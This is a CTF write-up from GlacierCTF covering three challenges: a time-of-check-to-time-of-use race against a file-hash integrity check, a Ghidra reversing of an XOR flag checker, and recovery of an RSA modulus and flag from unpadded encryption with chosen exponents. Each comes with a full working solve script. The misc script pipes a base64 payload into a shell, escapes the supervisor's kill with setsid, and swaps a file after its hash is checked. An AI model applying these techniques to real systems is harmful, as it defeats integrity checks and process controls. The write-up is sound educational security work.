The past weekend I competed in GlacierCTF with Cyber@UCI. We placed 12th in the No AI division.

Sensory Box [Miscellaneous]

The challenge gives us six boxes and a three-second shell in each one.

Analyzing the source code

The first interesting detail appears during setup. Before encrypting anything, the server writes every flag slice to /tmp/prize_slices, then leaves those plaintext files there.

with open(f"{SLICE_DIR}/prize_{i+1:02}.txt", "w") as f:
    f.write(prize_chunks[i])

This made me think that the intended solve was to somehow read the contents of each flag chunk and piece them together.

Each round gives us a shell in the current box, but its output is discarded. The server also kills the shell’s process group when the three seconds are over. process_group=0 creates a separate process group, which is later killed by os.killpg.

proc = subprocess.Popen(
    ["/bin/sh"],
    stdout=subprocess.DEVNULL if not DEBUG else None,
    stderr=subprocess.DEVNULL if not DEBUG else None,
    cwd=box_path(dice),
    close_fds=True,
    process_group=0,
)

Before starting the rounds, the server records the filenames and SHA-256 hashes of everything under /boxes.

def get_boxes_content() -> bytes:
    return subprocess.check_output("find /boxes -type f | sort | xargs sha256sum", shell=True)

boxes_content = get_boxes_content()

After the guesses, it hashes the files again. If the result is unchanged, it packages the box files.

# Before handing out anything, check if they stole anything from our boxes
boxes_content_post = get_boxes_content()

if boxes_content != boxes_content_post:
    print("Hey, thief, give me my dice back!")
    exit(1)

print("Here is the bundle with the encrypted prize slices and the dice:")
print(50*"-")
files = []
for i in range(len(dice)):
    path = box_path(i)
    files.append(f"{path}/dice.txt")
    files.append(f"{path}/prize.age")
tarball = subprocess.check_output(["tar", "cJ"] + files, stderr=subprocess.DEVNULL if not DEBUG else None)
print(base64.b64encode(tarball).decode())

Identifying the vuln

The important bug is that the check and the archive open the files separately. The hash can describe the old contents while the archive receives new contents.

The final archive includes the dice.txt files from each box. I chose to overwrite /boxes/box_01/dice.txt.

Hash check                          dice.txt contains A  ->  hash matches the saved hash
File changes after hash check       dice.txt contains B
Archive                             dice.txt contains B  ->  the archive contains B

A file changing between those two operations is a time-of-check to time-of-use (TOCTOU) bug.

Exploiting the vuln

I only need the shell from the last round. The script solves the proof of work, exits the first five shells, and sends dummy guesses so the server reaches round six.

solve_pow()
for _ in range(5):
    p.recvuntil(b"GO!\n")
    p.sendline(b"exit")
    p.recvuntil(b"What is your guess? ")
    p.sendline(b"0")

During the sixth shell, I start a Python script with setsid. It creates a new session with its own process group, so it survives when the challenge kills the original shell after three seconds.

f'echo {b64_payload} | base64 -d > /tmp/run.py && setsid python3 /tmp/run.py'

The script watches /boxes/box_01/dice.txt using inotify. os.read pauses until sha256sum closes the file after hashing it. At that point the hash for box_01/dice.txt is already fixed, even if sha256sum is still processing the other files.

libc = ctypes.CDLL(None)
fd = libc.inotify_init()
libc.inotify_add_watch(fd, b"/boxes/box_01/dice.txt", 0x18)
os.read(fd, 1024)
os.close(fd)

When inotify detects the close event, the script reads the plaintext slices in filename order, joins them into the flag, and overwrites box_01/dice.txt.

directory = Path("/tmp/prize_slices/")
chunks = []
for f in directory.iterdir():
    if f.is_file():
        chunks.append(f)

chunks.sort(key=lambda f: f.name)

flag = ""
for chunk in chunks:
    with open(chunk, "r") as f:
        flag += f.read()

open("/boxes/box_01/dice.txt", "w").write(flag)

The hash still matches the original contents because the replacement happened after sha256sum read the file. The server therefore returns the bundle, and box_01/dice.txt contains the flag.

Overall, here is my entire solve script

from base64 import b64encode
from pwn import *
import subprocess

script = r'''
import os
import ctypes
from pathlib import Path

libc = ctypes.CDLL(None)
fd = libc.inotify_init()
libc.inotify_add_watch(fd, b"/boxes/box_01/dice.txt", 0x18)  # the mask for both read and write closes

# this makes it wait until it detects dice.txt has closed meaning that the hash has been checked and we can now swap it out
os.read(fd, 1024)
os.close(fd)

# sort the files in order
directory = Path("/tmp/prize_slices/")
chunks = []
for f in directory.iterdir():
    if f.is_file():
        chunks.append(f)

chunks.sort(key=lambda f: f.name)

# get the flag from the files we sorted
flag = ""
for chunk in chunks:
    with open(chunk, "r") as f:
        flag += f.read()

# overwrite the dice.txt file safely because the sha256 check is finished
open("/boxes/box_01/dice.txt", "w").write(flag)
'''



p = remote('challs.glacierctf.com', 13377)
# context.timeout = 25
# p = remote('localhost', 1337)

def solve_pow():
    p.recvuntil(b'with:\n')
    command = p.recvline().strip().decode()
    print(command)
    res = subprocess.run(command, shell=True,executable="/bin/bash", capture_output=True, text=True)
    p.sendline(res.stdout.encode())


# skip 5 dice
solve_pow()
for _ in range(5):
    p.recvuntil(b"GO!\n")
    p.sendline(b"exit")
    p.recvuntil(b"What is your guess? ")
    p.sendline(b"0")

p.recvuntil(b"GO!\n")
b64_payload = b64encode(script.encode()).decode()
# setsid makes a new session with a new process group so that os.killpg(proc.pid, signal.SIGKILL) doesnt kill it
p.sendline(
    f'echo {b64_payload} | base64 -d > /tmp/run.py && setsid python3 /tmp/run.py'.encode()
)
p.recvuntil(b"What is your guess? ")
p.sendline(b"0")

p.interactive()

🚩 gctf{70uch_gr455_t0ucH_d1c3_t0uch_4t1m3}

Flag Checker [Reverse Engineering]

Analyzing the source code

I opened the binary in Ghidra and started with the decompiler output.


/* DISPLAY WARNING: Type casts are NOT being printed */

undefined8 main(void)

{
  uint local_528 [256];
  byte local_128 [256];
  ulong local_28;
  ulong local_20;
  ulong local_18;
  uint local_c;
  
  setvbuf(stdout,0x0,2,0);
  setvbuf(stdin,0x0,2,0);
  setvbuf(stderr,0x0,2,0);
  local_128[0..0xff] = 0;
  memset(local_528,0,0x400);
  puts("Enter flag: ");
  fgets(local_128,0xff,stdin);
  for (local_18 = 0; local_18 < 0x100; local_18 = local_18 + 1) {
    if (local_128[local_18] == 10) {
      local_528[local_18] = 0;
      break;
    }
    local_528[local_18] = local_128[local_18] ^ 0x12;
  }
  for (local_20 = 0; local_20 < 0x539; local_20 = local_20 + 1) {
    local_c = 0;
    for (local_28 = 0; (local_28 < 0x100 && (local_528[local_28] != 0)); local_28 = local_28 + 1) {
      local_c = local_c ^ *(flags + (local_28 + local_20 * 0x100) * 4) ^ local_528[local_28];
    }
    if (local_c == 0) break;
  }
  if (local_c == 0) {
    puts("The flag is valid!");
  }
  else {
    puts("this flag is unfortunately invalid :(");
  }
  return 0;
}

The input buffer is local_128. It is 256 bytes wide, and fgets reads at most 0xff characters before adding a terminating null byte. I renamed it to user_inp and the loop counter variable local_18 became i.

  for (i = 0; i < 0x100; i = i + 1) {
    if (user_inp[i] == '\n') {
      local_528[i] = 0;
      break;
    }
    local_528[i] = user_inp[i] ^ 0x12;
  }

The loop stops at the newline inserted by fgets. Every character before it is XORed with 0x12 and written to local_528, so I renamed that buffer to xored_inp.

The next loop uses local_20 as the outer counter variable and local_28 as the inner counter variable. I renamed them to j and k to make the outer and inner loops easier to follow.

  for (j = 0; j < 1337; j = j + 1) {
    local_c = 0;
    for (k = 0; (k < 256 && (xored_inp[k] != 0)); k = k + 1) {
      local_c = local_c ^ *(flags + (k + j * 256) * 4) ^ xored_inp[k];
    }
    if (local_c == 0) break;
  }

The expression *(flags + (k + j * 256) * 4) is pointer arithmetic for indexing the global flags array. The j * 256 term skips to a row, and k selects an element within that row. Each element is four bytes wide.

To figure this out for yourselves, try picking values of j and k. In this case, when j increases by 1, we skip 256 elements. This tells you that j is our row counter and that there are 256 elements per row. To find the number of rows we can just assume that since j is the row counter, and it loops to 1337, that there are 1337 rows.

I retyped flags in Ghidra as uint[1337][256]. Retyping it makes Ghidra display normal 2d array indexing.

  for (j = 0; j < 1337; j = j + 1) {
    local_c = 0;
    for (k = 0; (k < 256 && (xored_inp[k] != 0)); k = k + 1) {
      local_c = local_c ^ flags[j][k] ^ xored_inp[k];
    }
    if (local_c == 0) break;
  }

local_c is an XOR accumulator. For each row, the program XORs the stored values in flags with the values in xored_inp. If local_c is zero, the program accepts that row and prints the success message. In order to make local_c = 0, flags[j][k] has to equal xored_inp[k], since x XOR x = 0.

  if (local_c == 0) {
    puts("The flag is valid!");
  }
  else {
    puts("this flag is unfortunately invalid :(");
  }
  return 0;

Writing a solve script

First I wanted all the values in flags in my script. I tried copying it manually first but quickly realized that wouldn’t work due to its massive size. After some research I realized I could extract it from within my script.

from pwn import *
context.binary = binary = ELF('./challenge')

TOTAL_BYTES = 1337*256*4
raw_data = binary.read(binary.symbols.flags, TOTAL_BYTES)

This reads all 1337 * 256 four-byte values from the flags array into raw_data.

The binary stores each value in four bytes, so I unpack the bytes into 32-bit integers with pwntools.

ints = unpack_many(raw_data, 32)

The flat list is then split into rows of 256 values.

flags = [ints[i : i + 256] for i in range(0, len(ints), 256)]

Finally, I XOR each byte with 0x12 (the same value used by the binary), convert each decoded value to a character, and stop when a row contains gctf.

This is the complete solve script.

from pwn import *
context.binary = binary = ELF('./challenge')

TOTAL_BYTES = 1337*256*4
raw_data = binary.read(binary.symbols.flags, TOTAL_BYTES)

ints = unpack_many(raw_data, 32)
flags = [ints[i : i + 256] for i in range(0, len(ints), 256)]

for row in flags:
    chars = []
    for val in row:
        decoded = val ^ 0x12
        if decoded == 0:
            break
        chars.append(chr(decoded))
    s = "".join(chars)
    if 'gctf' in s:
        print(s)
        break

🚩 gctf{cf776a78f2488869cebfefd87a3e6a9fd582b9e556d0779216c5bb5b45ea4a70}

More EXP [Cryptography]

The challenge creates an RSA key. The values we care about are:

  • N: the modulus.
  • e: the public exponent.
  • m: the plaintext.
  • c: the ciphertext.

Normal RSA encryption is:

\[c = m^e \pmod N\]

In this challenge, we get to choose e as long as it is greater or equal to 65537. If we don’t supply m, the challenge encrypts the flag.

Also important to note is that the challenge does not use padding.

# We should pad here so we are not vulnerable to plaintext RSA attacks
return pow(message, e, self.N)

This means we can use the following relationship:

\[c_e = m^e \pmod N\]

and

\[c_{e+1} = m^{e+1} \pmod N.\]

Since \(m^{e+1} = m \cdot m^e\), the value

\[c_{e+1} - m c_e\]

is a multiple of \(N\).

Typically, RSA adds padding before exponentiation. The padding changes the value being encrypted and hides the above relationship.

Recovering N

For some controlled message m, request it with e and e+1:

\[c = m^e \pmod N, \qquad c_1 = m^{e+1} \pmod N.\]

Since m^(e+1) = m * m^e:

\[c_1 - mc \equiv 0 \pmod N.\]

Therefore:

\[c_1 - mc = kN\]

for some integer k.

Since we know the values of m, c, and c1, we can find what kN is equal to. We can do this with 2 different messages, and the only thing that changes is k. Therefore, it could happen, that N is the gcd of the two kN values.

N = gcd(val_1, val_2)

Decrypting the flag

Leave out msg to get two ciphertexts for the flag F:

\[C = F^e \pmod N, \qquad C_1 = F^{e+1} \pmod N.\]

Since F^(e+1) = F * F^e, dividing the second ciphertext by the first cancels F^e:

\[C_1 C^{-1} = F^{e+1}(F^e)^{-1} = F \pmod N.\]

Since we are doing modular arithmetic, we have to multiply by an inverse to do division.

\[F = C_1 C^{-1} \pmod N.\]

You can compute the inverse in python by using this:

pow(C, -1, N)

Finally, convert the integer back to bytes using long_to_bytes, since the flag was originally encoded with bytes_to_long.

Final solve script:

import json
from math import gcd
from Crypto.Util.number import long_to_bytes
from pwn import *

p = remote("challs.glacierctf.com", 13374)
p.recvuntil(b"> ")

def ask(e, m=None):
    q = {"e": e}
    if m is not None:
        q["msg"] = m
    p.sendline(json.dumps(q).encode())
    p.recvuntil(b": 0x")
    c = int(p.recvline(), 16)
    p.recvuntil(b"> ")
    return c

e = 65537
n = 0
c = ask(e, 0x1337)
c1 = ask(e + 1, 0x1337)

c_2 = ask(e, 0x1339)
c_3 = ask(e + 1, 0x1339)
n = gcd(c1 - 0x1337 * c, c_3 - 0x1339 * c_2)

c = ask(e)
c1 = ask(e + 1)
inverse_c = pow(c, -1, n)
num = long_to_bytes(c1 * inverse_c % n)
print(num)

🚩 gctf{a6f3cf9ce77fb0debba1f2852bbe652e9daabd0ae2cd57aada7a2fa3bffb2c25}